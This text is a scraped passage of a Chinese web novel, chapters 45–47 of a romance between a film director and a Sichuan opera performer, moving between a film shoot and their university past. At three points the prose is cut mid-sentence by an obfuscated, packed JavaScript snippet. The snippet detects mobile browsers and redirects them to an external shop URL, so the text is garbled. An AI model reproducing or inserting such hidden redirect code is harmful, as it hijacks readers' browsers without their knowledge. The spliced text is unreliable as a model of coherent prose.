他猛地回神,这才发现取景框边缘在微微发抖。 他手忙脚乱调整焦距,就在这时,李霄川突然抬头,那双画着戏妆的眼睛直直刺进镜头,像要透过层层玻璃焊在他脸上。 “若天道容情,许仙愿以身代劫,永镇雷峰塔下……” 唱词像把生锈的裁纸刀,沿着他肋骨的缝隙慢慢往里楔。眼前忽然模糊起来,直到一滴水珠在UV镜上溅开,他才惊觉自己竟然在片场流泪。 “Cut!”副导演喊了停。 片场瞬间活络起来,场务推着轨道车轰隆隆碾过,化妆师举着粉饼冲向演员。 陈声和低头拆电池,假装没看见林瑶递来的纸巾。 不远处的李霄川仍保持着戏中的跪姿,胸口剧烈起伏,额角的汗与油彩滑至下颌。 陈声和放下机器,脚步微微向前挪了一些,又死死钉在原地。 “陈导不点评一下?”李霄川却不放过他,声音沙哑得像被火烧过。 整个片场瞬间安静,所有人的目光都聚焦过来。 陈声和攥紧拳头,指甲深深陷进掌心的软肉,疼痛却压不住胸腔里翻涌的酸涩。 “……很好。”他最终只挤出这两个字。 李霄川扯了扯嘴角,起身时膝盖明显发软,踉跄了一瞬。陈声和伸手,又在半空硬生生收住,转而抓起一旁的毛巾递过去。 李霄川没接。 他径直走到摄像机前,用戏服的广袖轻轻擦了擦镜头。手指不经意划过陈声和的虎口,那里也有一道淡白的月牙形疤痕,是大学时某次亲热,陈声和怕出声自己咬的。 “专业点啊,陈导。”李霄川轻声说,呼吸里带着熟悉的薄荷糖味,“镜头糊了,戏就废了。” 陈声和浑身僵住。 记忆突然闪回大学,那是他们在一起后,第一次掌镜拍李霄川表演,对方说完同样的话后,直接扣住他的后脑吻了上来。 摄像机摔在地上,录下了整整三分钟暧昧的喘息和衣料摩擦声。 而现在,李霄川只是转身走向化妆间,雪白的戏服下摆扫过陈声和的鞋尖,像一片抓不住的云。 后台走廊的灯管有一只接触不良,忽明忽暗地闪烁着,剧组都帮着换过不知道多少灯了。 陈声和靠在斑驳的墙边点烟,打火机连按几次才燃起火星。这是他戒了又复吸的习惯,因为他熬不住了。 烟雾缭绕中,化妆间虚掩的门缝里漏出对话声。 “李老师,这膝盖……” “没事,明天还有场武戏,反正要摔。” “您也太拼了,身上的旧伤可经不起太折腾了。” “习惯了。” 烟灰断裂,烫在陈声和指节上。他猛地一抖,想起大四那年冬天,李霄川为了全国戏曲比赛每天练功到凌晨两三点。 有次后空翻失误,整个人砸在硬木地板上,两根肋骨错位。 那时候他翘了一周的课,天天拎着保温桶去医院陪床。 李霄川却总在麻药过后疼得脸色发白时,还撑着对他笑:“值了,能让你主动亲我。” 思绪被化妆间突然打开的门打断,李霄川走出来,已经换回黑色卫衣。他看到陈声和时明显一怔,目光落在那支燃了一半的香烟上。 “陈导以前不是最讨厌烟味?” 陈声和把烟按灭在墙上的消防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005885|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栓箱上:“人都会变。” “是吗。”李霄川直直走近,陈声和闻到他领口残留的油彩味,混合着熟悉的体温,“那为什么不敢拍我的特写?” 那盏半吊子灯泡在这一刻彻底熄灭。 远处场务收拾道具的碰撞声忽远忽近,黑暗漫过两人之间的空隙。 陈声和能听见李霄川的呼吸声,比平时要重一些。 “我拍了。”陈声和听见自己的声音很干,肯定是因为抽烟导致的。 “你躲了。”李霄川纠正他,每个字都咬得很轻,“每次镜头要对上我眼睛的时候,你就切全景。” 他伸手,拇指擦过陈声和的眼角,指腹带着长年练功留下的薄茧:“就像现在,你连看都不敢看我。” 那个触碰转瞬即逝,却像块烙铁,烫得陈声和眼眶发热。 他想说不是这样的,想说这五年他看过无数遍李霄川的演出视频,甚至能默写出每个转身时衣袂扬起的弧度,每个眼神转变时间都记得。 但话到嘴边,却变成一句:“……明天还有拍摄,早点休息吧。”他看见李霄川的喉结滚动了一下。 李霄川的手垂了下去,在身侧攥成拳头又松开。 “陈声和。”李霄川看着他,声音突然又问他,“当年你说分手是为了父母,现在呢?你还在怕什么?” 两个人就这么对立站着,陈声和以往总是挺直的腰背,此刻却在李霄川面前不敢直起来。 大学时他们挤在出租屋那张二手沙发上,用笔记本电脑看《春光乍泄》,看到何宝荣说“不如我们从头来过”这句话时,李霄川突然扣紧他的手说:“我们永远不会这样。” 那时候窗台的水培玉兰花开得正好,暖风从窗户吹进来,俩人脸上都热烘烘的。 而现在,他们之间隔着的何止是一句台词。 是五年时间,是两千公里,是潮汕祠堂里那三炷香,是成都戏台上永远差一步的对视。 “我怕重蹈覆辙。”陈声和终于说出了这句话,声音轻得几乎被黑暗吞没。 李霄川笑了起来,那笑容比哭还难看:“可我们连覆辙都没有过,你连试都没试过,怎么知道会重蹈?” 他的声音甚至带着点儿哽咽,像是戏台上唱到高音时那种入戏的颤抖。 夜风从走廊的破窗灌进来,吹散了最后一点烟味,也吹乱了李霄川额前的碎发。 陈声和看着李霄川转身离去的背影,想起今晚戏里的最后一句唱词: 【分明是团圆梦,醒来却各西东】 那件黑色卫衣渐渐融进黑暗里,就像五年前机场安检口那个转身。 走廊的灯神经兮兮地突然又亮了,刺得陈声和眯起眼睛。地上静静躺着一颗枇杷糖,包装纸闪着微光,是李霄川常吃的那个牌子。 他忍不住弯腰捡起来,小心翼翼的叠好装进了兜里。 45.做贼心虚 记忆中大学时的暗房,总是红得像是蒙了层湿漉漉的薄纱,把整个屋子都泡在那种朦朦胧胧的暗红色里。 陈声和正站在冲洗台前,拿着镊子尖轻轻拨弄浮在显影液里的胶片。银盐颗粒在药水中慢慢舒展,像睡醒了一样。 红光映在他专注的侧脸上,将那五官衬得更好看了。 黑白影像渐渐从药水里浮出来,上面是李霄川在练功房腾空跃起的瞬间,脊背肌肉绷得紧紧的,后仰时拉出的那道弧线特别漂亮。 不过……这张又虚了。 他皱皱眉,夹起胶片凑到红光底下仔细看。这已经是这星期第三回了,每次偷拍李霄川练功,照片总会莫名其妙地虚掉。 “陈大导演也有失手的时候?” 身后突然贴上来一具温热的身体,李霄川的下巴自然而然搁在他肩上,呼吸正好喷在他最敏感的耳后。 这人刚练完功,浑身还冒着热气,汗水的潮气里带着点儿松香的苦味,搅和成独属于他的气息。 陈声和手指一抖,差点把胶片掉回药水里。 “……故意的。”他强装镇定,把胶片挂上晾干绳,“这叫朦胧美,懂不懂?” 李霄川低低笑起来,胸膛震动的感觉透过薄薄T恤传到他背上。他伸手拨弄那排晾着的胶片,手指在某一张前面停住了。 是抓拍他倒立练腰功的那张,上衣滑下来露出一截劲瘦的腰,可惜整张照片糊得只剩色块。 “这张也是朦胧美?”声音里带着明晃晃的调侃。 陈声和耳根一下子烧起来,伸手就要抢:“这张纯属意外!” 李霄川轻巧躲开,顺势把他困在冲洗台和自己之间。 暗房本来就不大,这下更挤了。陈声和能清晰感觉到对方的体温,甚至能听见他胸腔里沉稳的心跳。 “那要不要现在补拍?”李霄川压低了声音,嘴唇几乎蹭到他耳廓,“我保证乖乖不动。” 陈声和的呼吸一下子乱了,喉结不自觉地滚了滚。 他知道李霄川是故意的。 从开学起,这个总爱穿黑色练功服的川剧社学长,就会“刚好”出现在食堂他常坐的座位旁边,“偶然”在图书馆借走他正想找的书。 “我……”他刚开口,三下规律的敲门声突然响起。 “声和?你在里面吗?”室友张远的声音隔着门板传来,伴随着钥匙串晃动的轻响。 陈声和瞬间绷紧身体。 李霄川却趁机凑得更近,温热的鼻息喷在他耳后:“怕什么?他又看不见。” 他的犬齿故意磨过耳垂软肉,湿热的气息烫得陈声和浑身发麻,他慌乱地推开李霄川。 “在!马上好!”陈声和的声音差点劈叉,手忙脚乱地推开身前的人。 直到门外的脚步声消失,他才发现自己的指甲已经陷进了掌心。 李霄川懒洋洋地靠在显影液架子旁,目光扫过他发红的耳尖。 “下周我姑火锅店重新开业。”他突然说,“你来吗?” 陈声和动作一顿。 这种重要场合……像见家长? 这个认知让他胸口发紧。在潮汕,带对象见家长几乎等同于订婚前的仪式。 虽然成都的风俗可能没那么严肃,但…… “我……” “就当普通同学。”李霄川扯了扯嘴角,从兜里摸出根棒棒糖叼着,“她不知道我们的事。” 塑料糖纸的声响异常清晰。陈声和低头把胶片塞进防水袋,喉头发紧:“好。” 回到宿舍时已经过了零点。 张远的鼾声从床铺传来,陈声和轻轻放下背包,台灯的光圈刚好笼住书桌一角。 他本打算直接归档废片,却鬼使神差地摸出钢笔。胶片背面的哑光面吃墨很深,字迹像是刻上去的: 【编号11:后空翻第5次失败,右肩撞在把杆上的声音比我相机快门还响。】 【编号29:和女社员说笑时你眼角有笑纹。其实我希望你只对我这样笑】 笔尖悬在最后一张糊掉的倒立照上,久久未落。 最终墨水晕开成颤抖的一行: 【编号35:要是白娘子当初没遇见许仙就好了】 钢笔啪嗒掉在桌上。 陈声和自己都愣住了,他居然在替李霄川最讨厌的角色开脱。 上周看《白蛇传》时,李霄川还骂许仙是没骨头的孬种。 而现在,他把自己代入了那个他最不齿的角色。 窗外忽然刮起风,吹得窗帘猎猎作响。 陈声和匆忙把胶片藏进日记本夹层,却在合上本子时看到扉页上自己大一开学初写的话: 成都的天气比潮汕干燥,适合保存胶片。 他苦笑一声。 干燥的气候能防止胶片发霉,却防不住心底疯长的潮湿心事。 …… 李红梅的火锅店开张那天,陈声和在宿舍磨蹭了老半天。 他一遍遍翻来覆去地看手里那个礼盒,里头是送李霄川姑姑的一套潮州手拉壶,包装纸都快被他摸毛了,还忍不住对着光检查有没有皱。 “再不出门真赶不上了啊。”张远斜倚在门框上,嘴里叼着根没点的烟。 陈声和“嗯”了一声,转头又瞟了眼镜子里的自己:白衬衫扣得严严实实,深色牛仔裤,头发梳得跟新闻主播似的。 太正式了,像第一次登门的新女婿。 他心里一躁,抬手就把梳得齐整的头发揉乱。目光扫到桌上妈妈寄来的潮汕嫁女饼礼盒,更烦了,又手贱地把刘海捋了回去。 发胶黏腻的触感,让他莫名想起老家祠堂里香烛滴下来的蜡油。 “你紧张个什么劲儿?”张远挑眉,盯着他通红的耳朵笑,“又不是去提亲。” 陈声和喉结滚了滚,空调嗡嗡响个没完,他憋出一句:“……天热。” 成都的盛夏确实闷得人透不过气,但真正让他后背冒汗的,是校门口梧桐树底下那个身影。 李霄川正百无聊赖地用鞋尖碾着片枯叶子转圈,白T下摆被风吹得微微掀起。阳光从叶子缝里漏下来,落在他锁骨上,一跳一跳的,像川剧变脸时甩出来的金粉。 他一抬头看见陈声和,眼睛唰地亮了一下,随即又皱起眉:“穿这么厚,中暑了谁扛你去医院啊?” “潮汕人怕冷。”陈声和随口胡诌。把礼盒换到左手,右手指缝里还留着暗房显影液那刺挠的触感。 李霄川笑着摇摇头,伸手就把他领口最上面那颗扣子解了:“放松点儿,我姑你又不是没见过。” 他手指不经意擦过陈声和脖颈侧边的时候,那些还没显影的胶片仿佛一下子全在陈声和胃里翻腾起来。 “走呗。”李霄川很自然地伸手过来牵他。 陈声和猛地一缩胳膊,礼盒缎带在掌心勒出一道红印:“……有人看。” 李霄川嘴角还扬着,但插回兜里的手悄悄攥成了拳头。 两人一前一后隔着半米往公交站走,影子在晒得发软的柏油路上时而叠在一块儿,时而分开,像两卷放不到一起的胶片。 75路公交挤满了去春熙路约会的小情侣,李霄川伸手隔开人群,把陈声和堵在靠窗的角落里。 T恤贴在他微微绷紧的背肌上,随着呼吸轻轻起伏:“昨晚又通宵剪片子了?” 陈声和眼下显着淡青:“嗯,差不多两点才睡。” 其实胶片半夜就弄完了,剩下时间他全用来在每张李霄川的舞台照背面写留言,写完又一张张锁进抽屉最深处。 李霄川忽地凑近,鼻尖几乎贴上他的额头:“撒谎。” 陈声和屏住呼吸,车窗在背后嗡嗡震颤。 “你一撒谎就特明显,”李霄川得意地戳穿他,声音压得低低的,“每次紧张,睫毛抖得跟戏服上那串流苏似的。” 一个急刹车,李霄川的嘴唇不经意擦过他脸颊边,那一小块皮肤顿时烧了起来。 陈声和一低头,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005886|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见对方的球鞋正踩着自己的影子,就像那年校庆演出,李霄川谢幕时故意踩住他拖在地上的摄像机电线。 “到了。”李霄川直起身,表情没什么变化,只有通红的耳根泄露了心跳。 …… 李红梅的火锅店还开在春熙路老巷子里,招牌还是那块褪了色的木匾,只是门脸扩宽了不少,新装了玻璃推拉门。 门口那两盏红灯笼倒是没换,在暮色里晃晃悠悠。 陈声和站在店门前踌躇,熟悉的牛油香与花椒的辛烈暗香袭来,熏得他眼眶发热。 “愣着干嘛?”李霄川回头看他没跟上,嘴角噙着笑,“怕辣?” “不是。”陈声和低头整理袖口。 刚才在校门口被李霄川解开的。他今天特意穿了件浅色衬衫,现在后悔得要命。 这次比第一次来还紧张,上次是因为他们真的只是普通朋友,这次…… 他瞥了眼李霄川颈侧淡淡的红痕,喉结动了动。昨晚他们还在公寓床上……嗯嗯,现在就要假装普通同学,这难度堪比让他生吃小米辣。 大概是心虚吧,再怎么说也是李霄川亲人。 店门被推开,热浪裹着鼎沸的人声蜂拥而至,夹杂着锅里翻滚的咕嘟声。 “幺儿!”一个系着藏青色围裙的中年女人冲出来,手上还沾着辣椒面,一把搂住李霄川的脖子,“龟儿,半个月不来看我!是不是要等我这把老骨头入土才来?” 李霄川笑着任她揉乱头发,顺手接过她手里的漏勺:“这不是带朋友来了嘛。” 他侧身时,陈声和看见他T恤后领还沾着根自己的头发。 李红梅这才注意到陈声和,眼睛一亮:“哎哟,广崽又变帅咯!”她凑近李霄川耳边,声音却一点没压低,“这娃儿两次了,男朋友?” 陈声和浑身一僵。 “同学。”李霄川面不改色,手却在姑姑背后偷偷捏了捏陈声和的手指,“您别吓着人家。” “晓得晓得!”姑姑意味深长地笑,拽着两人往最里面的包厢走,“给你们留了雅间,还是鸳鸯锅哈!晓得广崽吃不得辣!” 包厢门关上,喧嚣顿时隔远。陈声和终于呼出一口气,这才发现手心全是汗,衬衫后背已经黏在了皮肤上。 “别在意哈。”李霄川递来湿毛巾,手指划过他掌心时顿了顿,“我姑姑就这样,嗓门大。” 陈声和摇头,从包里取出个牛皮纸袋:“这个……送她的。”纸袋边缘有些皱,是他一路上攥得太紧。 李霄川接过那个锦盒,打开一愣,壶身刻着细密的山水纹。 “你……”他喉结滚动,“什么时候买的?” “上周。”陈声和低头拆餐具包装,他故意没看李霄川的眼睛,“听说你们四川人也爱喝茶。” 其实是知道李霄川从小在姑姑的火锅店长大,想送件能长久陪伴的东西。就像那盏总挂在柜台边的红灯笼,见证过李霄川整个少年时代。 “这很贵。”李霄川抓住他手腕,声音发紧,拇指按在陈声和腕骨突出的地方。 陈声和抬眼看他,发现他下唇有一小块破皮,是三个小时前自己咬的。他红着脸小声说:“……送姑姑的,不要在意价格。” 李霄川知道这东西很贵,虽说陈声和从来不提他的家庭情况,但他平日里生活习惯和日用品衣服就能看出来,这就是家里宠大的小少爷。 然而这对李霄川来说,过于贵重了。他的声音发紧:“怎么不和我商量?” 包厢昏黄的灯光下,陈声和看清他眼里的东西,不是那种简单的感动,而像是在心里挣扎得有点疼的感觉。 “手拉壶不会夺茶香,我看姑父……” 还没说完门就被撞开了,李红梅端着红油翻滚的锅底进来:“来咯!特辣锅配清汤,广东崽别哭哈!” 她身后跟着的服务员手里托盘上,摆着他们常点的麻辣牛肉和鸭血。 话题被打断,李霄川松开手,神情恢复如常。 46.不怕我骗你? 这晚,李红梅破例陪着他们吃了饭,还开了一坛自酿的梅子酒。不咋好喝,但又忍不住想喝,说不清那是太涩还是太苦。 酒过三巡,李红梅已经喝得满面通红,盘起的发髻散落几绺碎发。她突然抓住陈声和的手腕,力道大得惊人。 “声和啊,”她大着舌头拍陈声和的肩,一手抽着烟,“我们川娃子命苦得很,十岁他妈就走了,他爸那个砍脑壳的……” “姑!”李霄川猛地放下酒杯,瓷杯底磕在玻璃转盘上发出刺耳的声响,“讲这些做撒子?!” 李红梅摆摆手:“怕啥子嘛!又不是外人!” 她转向陈声和,眼圈红红的,酒气与火锅的热气扑在陈声和脸上:“我嫂子生病走的那年,这娃在病房里练变脸逗他妈开心,说妈妈看我学会新招了,其实面具底下全是眼泪……” 陈声和胸口剧痛,仿佛有人攥着他的心脏狠狠拧了一把。他想起李霄川总说变脸要快、准、狠,原来这份狠劲是这样练出来的。 他看向李霄川,后者正机械地往碗里夹香菜,手腕却有些微微抖。睫毛在脸上投下深深的阴影,遮住了那双平时在舞台上熠熠生辉的眼睛。 “后来他爸娶了那个婆娘……”李红梅压低声音,指甲都掐进了陈声和的皮肉里,“那女的带来的儿子,把川娃儿锁在戏校道具间三天,就因为他拿了少儿戏曲大赛冠军。有些人啊,根就是坏的!” “哗啦!” 李霄川的筷子掉在地上,一根滚到陈声和脚边。他弯腰去捡时,看见李霄川的左手在桌下发抖。 包厢里死一般的寂静,只有红油锅底还在咕嘟咕嘟翻滚。 “我出去抽根烟。”他起身时撞翻了醋碟,深色液体在桌布上晕开一片,仿佛那年在医院,妈妈吐在病号服上的血渍。 陈声和跟着站起来,却被李红梅死死拉住。 “莫去。”李红梅抹了把脸,指缝里亮晶晶的,“那件事后,他再也不在人前哭。有次在后台卸妆,我见他对着镜子练哭腔,练到满脸都是油彩。” 她哽咽着:“这么……多年了,我那个牲口哥哥从来都不管这个儿子。男人呐,只能共苦不能享福。川娃高考那年发高烧,一个人躺在出租屋里,还是邻居发现不对劲……” 包厢小窗户外头就是走廊,门外传来打火机的声响,一下,两下,三下……陈声和默默数到第六下,才终于听见那点火苗“噗”地一声,微弱地燃起来。 他透过纱窗缝往外瞄,李霄川正靠在走廊尽头的窗边,月光落在他低着的侧脸上。 烟雾绕着他飘,陈声和一时有点恍惚。 台上那个浑身是光、一亮相就满堂彩的武生,这会儿背驼得厉害,肩膀垮垮地塌着,像被人抽了骨头。 他突然想起以前拍的那些虚焦的胶片照片。 原来自己从来就没真正看清过这个人。 …… 跟李红梅聊完出来,陈声和推开火锅店后门,冷风掺杂着油烟味直接糊了他一脸。 巷子里,李霄川靠在那面斑驳的墙上,脚边零零散散丢了七八个烟头,有的还冒着点儿白烟。 “正在戒呢。”李霄川没回头,嗓子哑得不像话,“今天……破个例。” 陈声和慢慢走过去。浓重的烟味里,他闻到了血腥气。 巷口那盏路灯昏黄昏黄的,借着那点光,他看见李霄川拇指上有个新鲜的烫伤,正往外渗着血珠。 “你姑喝多了。”陈声和声音放得很轻,目光扫过地上那些烟头。最远那个都快滚进排水沟了,一看就是被人狠狠甩出去的。 李霄川低低嗤笑一声,喉结滚了滚:“她是故意的。”他抬眼看向陈声和,眼睛里拉满血丝,“可怜我啊?” 陈声和摇头,从兜里掏出创可贴,他总随身带着这玩意儿,李霄川练功动不动就挂彩。 “伸手。” 李霄川没动,指间那根烟还在静静烧着。 陈声和索性一把抓住他手腕,劲儿大得连自己都愣了一下。 李霄川的手掌在他手心里摊开,上面密密麻麻全是痕迹:常年练功磨出来的厚茧,还有几道明显的刀疤,横的竖的。 “那年,”李霄川突然开口,烟灰簌地掉在两人之间的地上,“我认识一男的。后来他在校园论坛发帖,说我是睡遍戏曲社的变态。” 他扯了扯嘴角:“有人往我更衣室塞刀片。” 陈声和手一颤,创可贴掉在了地上。他猛地想起社长和杨知夏那种欲言又止的表情,还有室友张远曾经隐晦的提醒。 “为什么不告诉我?”陈声和声音发颤。 李霄川静静地看着他:“告诉你之后呢?” 过了很久,陈声和才找回自己的声音:“我相信你。” 李霄川的目光落在他脸上,沉默着。 “我相信你。”陈声和带着他这个人的固执,“相信你没碰过他一根手指头,更不是什么变态。” 这话可不是凭空说的。 去年冬天,社团聚会时,杨知夏喝了酒,在热气腾腾的火锅店里,借着酒劲把当年的事倒了个干净。 那个学弟,从入社第一天眼睛就黏在李霄川身上。每次排练都抢着给李霄川递水递毛巾什么的,社团里谁看了不调侃两句小学弟又来追星了。 说起来,这也真不怪陈声和定力不够。 李霄川那人,确实是好看的。不是那种粉雕玉琢的好看,是眉宇间带着股英气,轮廓利落得像山崖峭壁。 可偏偏,他骨子里又藏着四川娃的那种柔软和体贴,台上是光芒万丈的武生,台下跟人说起话来,眼角眉梢都带着笑,又爽朗又温和。 这么个人物,放在哪儿都是焦点。 别说那些偷偷来看排练的女孩儿们了,就是有这性取向的男生里,明里暗里喜欢他、追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005887|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他跑的,也大有人在。 李霄川起初还板着脸训人,后来竟也默许了这种亲近。 “出事那天特别冷。”杨知夏的筷子在油碟里搅了又搅,“我在酒吧门口看见他搂着个穿西装的男人,两人醉醺醺地进了对面的酒店。” 她顿了顿:“我给霄川打电话,他穿着练功服就跑来了,连外套都没穿。” 陈声和至今记得杨知夏当时的表情,这个总是酷酷的女孩,说起那晚时眼里全是鄙视。 李霄川大概那会儿是也心动的,所以默许了一切。 “我们在酒店大堂等到天亮,霄川就那样盯着电梯门,手指把座椅扶手都抠掉一块皮。等看见那小子出来,他转身就走,一个字都没说。” 夜风卷着火锅店后厨的油烟味扑过来,陈声和突然觉得呼吸困难。 那些被风吹散的烟味底下,藏着更刺鼻的东西,是李霄川这些年独自咽下的委屈。 “不怕我骗你?”李霄川沙哑着问他。 陈声和猛地抱住他,力道大得两人都踉跄了一下。他能感觉到李霄川绷紧的背肌,像准备攻击的豹子。 “不怕,”他把脸埋在李霄川肩窝,闻到了熟悉的跌打药酒味,低声说,“你第一次的时候,连脱我裤子的手都在发抖。” “…………” “操!”李霄川一愣,随后像被抽了筋骨一样软下来:“乖乖,以后莫要这么安慰人要的不?给我留点儿面子!” 他的下巴重重压在陈声和肩上,呼吸喷在耳后的触感让陈声和想起他们第一次接吻时,李霄川紧张到搂住他腰的手都在颤。 “我说的……是实话。”陈声和小声嘀咕了一句。 “现在知道为什么非要你拍清楚了?”李霄川笑着,胸腔的震动透过相贴的胸口传来,“我们这行啊……说不定哪天就摔断脖子了。” 陈声和收紧了手臂。喉间突然涌上铁锈味,他才发现自己的下唇已经被咬破了。 “陈声和。”李霄川的声音轻得像一阵春风,“如果哪天我真翻不了跟头……” “那我就架三台摄像机。”陈声和打断他,声音发哽,“一台拍你拄拐杖,一台拍你喝粥洒一身,第三台……”他吸了吸鼻子,“拍你半夜偷吃我藏的陈皮糖。” 巷子里突然安静得可怕,远处火锅店的喧闹声,近处空调外机的嗡鸣,全都消失了。 陈声和只能听见自己震耳欲聋的心跳,和李霄川突然变得急促的呼吸。 下一秒,带着烟味的手掌扣住他的后脑勺。这个吻又凶又急,陈声和尝到了烟草的苦,血的腥,还有自己眼泪的咸。 所有的滋味混在一起,就像这些年李霄川独自咽下的流言,那些说他的嘲讽,那些暗示他靠脸上位的窃语,那些刻在更衣柜里的污言秽语…… 但此刻李霄川的嘴唇是烫的,呼吸是烫的,连滴在陈声和颈间的眼泪都是烫的。 47.我还在等你的答案 仓库的灯管时不时闪一下,跟喘不上来气儿一样。窗外的秋雨越下越密,水滴敲打着铁皮屋顶,在空荡荡的屋里听得特别清楚。 陈声和瘫在剪辑台前,手指头有一搭没一搭地敲着键盘。屏幕的光打在他脸上,照出一脸的疲惫。 今天的拍摄素材倒得差不多了,进度条慢吞吞往前爬,可最关键的那一段,偏偏没有。 李霄川跪塔的母带。 他停下手,揉了揉太阳穴,视线扫过架子上那一排排旧胶片盒。它们整整齐齐码着。 剧组租的是川剧团的老仓库,角落里堆满了从八十年代攒到现在的演出资料。灰尘在射灯光里慢慢飘,像一群小飞虫,懒洋洋地跳舞。 “小林?”他喊了一嗓子,声音在空仓库里滚了一圈。没人应,他才想起来,早就让助理先回去了。 他叹了口气,撑着膝盖站起来,关节轻响了一声。二十六七岁的身子骨,果然跟十七岁没得比。 今天硬站了八个钟头,现在连腰都开始隐隐发酸。 他慢慢走向最里层的铁架子,脚步声在水泥地上特别响。手刚碰上冰凉的金属把手,余光却突然扫到个什么东西。 他退了两步,蹲下来,这才看见最底下有个歪歪斜斜的纸盒子。标签上潦草地写着“2017教学资料”,那字迹熟得让他心里咯噔一下。 是李霄川的字。最后一笔总爱轻轻往上挑,那种写法,只有他。 陈声和蹲在那里,突然觉得膝盖有些刺痛。 纸盒子一打开,扬起一片灰,在灯底下像突然下了一场迷你暴风雪。他憋着气,等灰落定了才看清,里面整整齐齐码着十几卷教学胶片,全是当年川剧社的培训资料。 他随手拿起一卷,胶片盒上还贴着一张淡绿色的卡通便利贴,上面写着:【声和专用,请勿动】,后面跟了个歪歪扭扭的笑脸。 便利贴的边角都卷起来了,胶也早没了粘性,轻轻一碰,就掉在他手心里。 他忽然有点喘不过气,喉咙像被什么堵住了,只好用力咽了一下。 他继续往下翻,手指头碰到每一卷胶片时,都带着点小心翼翼的犹豫。直到摸到最底下那一卷,没有贴标签,拿在手里,比别的都轻一点。 仓库里找到的放映机是老式的,需要手动穿片。陈声和手指有点汗,滑了好几次,胶片才总算卡进齿轮里。 在这个过程中,他都能听见自己咚咚的心跳,越来越快,在安静的仓库里响得跟打鼓似的。 屏幕一亮,他反倒猛地闭上了眼。 不敢看。 五年前分手那会儿,他删光了手机里所有合照,清空了社交平台的相册,偏偏忘了备份这台摄像机里的东西。 后来机器被学校收走了,他以为这些画面早就跟着那段感情一起,没了。 屏幕上传来沙沙的电流声。 他慢慢睁开眼,画面里是二十岁的自己,趴在图书馆的桌子上睡着了。 阳光透过玻璃,在他脸上投下一道影子,镜头悄悄推近,最后停在他微微张开的嘴唇上。 那儿沾了一点咖啡渍,大概是之前喝的时候留下的。 画外有人很轻地笑了一声。 是李霄川。 那笑声里带着他再熟悉不过的宠溺和温柔,穿过五年时间,不偏不倚,正正砸中他心口。 陈声和攥紧了椅子扶手,木头棱角硌进手心,可他像感觉不到疼一样。 画面一转,切到了大学食堂。镜头里的他正被花椒呛得眼泪直冒,狼狈地吐着舌头扇风,画外传来一声没憋住的笑。 接着是暗房。 陈声和自己都不记得还有这一段。 他皱着眉盯着显影盘,鼻尖上蹭了一滴显影液。镜头偷偷凑近,眼看要对上焦了,却被他抬手一抹,擦掉了。 画面外传来李霄川遗憾的咂嘴声。 全是自己。 全是他不知道什么时候被拍下来的瞬间。 最后一段影像开始放的时候,陈声和已经把嘴里内侧的软肉咬破了。铁锈味在舌尖漫开,可比起胸口那种撕开似的窒息,这点疼根本不算什么。 镜头对着琴房雕花天花板晃了晃,突然往下一转,对准了李霄川自己的脸。 他穿着那件领口已经洗松的黑T恤,锁骨那儿汗湿了一片,脸上是陈声和最熟悉的那种,亮堂堂的笑。 “今天,是我们在一起一周年啦。”李霄川对着镜头说。 陈声和的指甲掐进了掌心。 镜头里的李霄川突然凑近,近到睫毛都快扫到镜头:“陈声和,你以后要是敢忘……” 画面突然天旋地转,伴随着一阵刺耳的摩擦声,镜头剧烈晃动起来。 陈声和听见五年前的自己带着羞恼的颤音:“李霄川!你录这个干什么!” “留证据啊。”画外音带着掩饰不住的笑意,“等我们七老八十了,我就放给孙子看……” “谁要和你有孙子!” 一阵窸窸窣窣的打闹,夹着李霄川吃痛的笑骂。最后镜头歪歪地定在琴房斑驳的墙上。 有两只手入了镜,十指紧扣着,无名指上戴着他们在春熙路夜市买的银戒。 当时那摊主当时信誓旦旦说是四个9纯银,花了快六百块,结果第三天就褪成了铜色…… 陈声和当时还想去找那个摊主理论,李霄川却笑着说算了,这种情况找也找不到了,人家早挪窝了。 放映机停止了,仓库重归寂静。 陈声和这才发现自己蜷缩在椅子上,手臂死死环住膝盖,像是要把自己勒进肋骨里。 膝盖砸上一滴温热,他茫然地摸了摸脸,才发现泪水已经流到下巴。 “我就知道你在这儿。” 门口的声音让陈声和浑身一僵,他手忙脚乱地用手背抹脸,睫毛还湿漉漉地粘在一起。 李霄川斜倚在门框上,逆着光,只能看清他指间夹着的烟升起细细一缕。他换了身黑色高领毛衣,衬得皮肤特别白,右手正拿着那盘陈声和找了一下午的母带。 “你……”陈声和清了清嗓子,声音还是哑得厉害,“怎么还没回去啊?” “落东西了。”李霄川用拿烟的手指了指母带,烟灰轻飘飘落在门口。 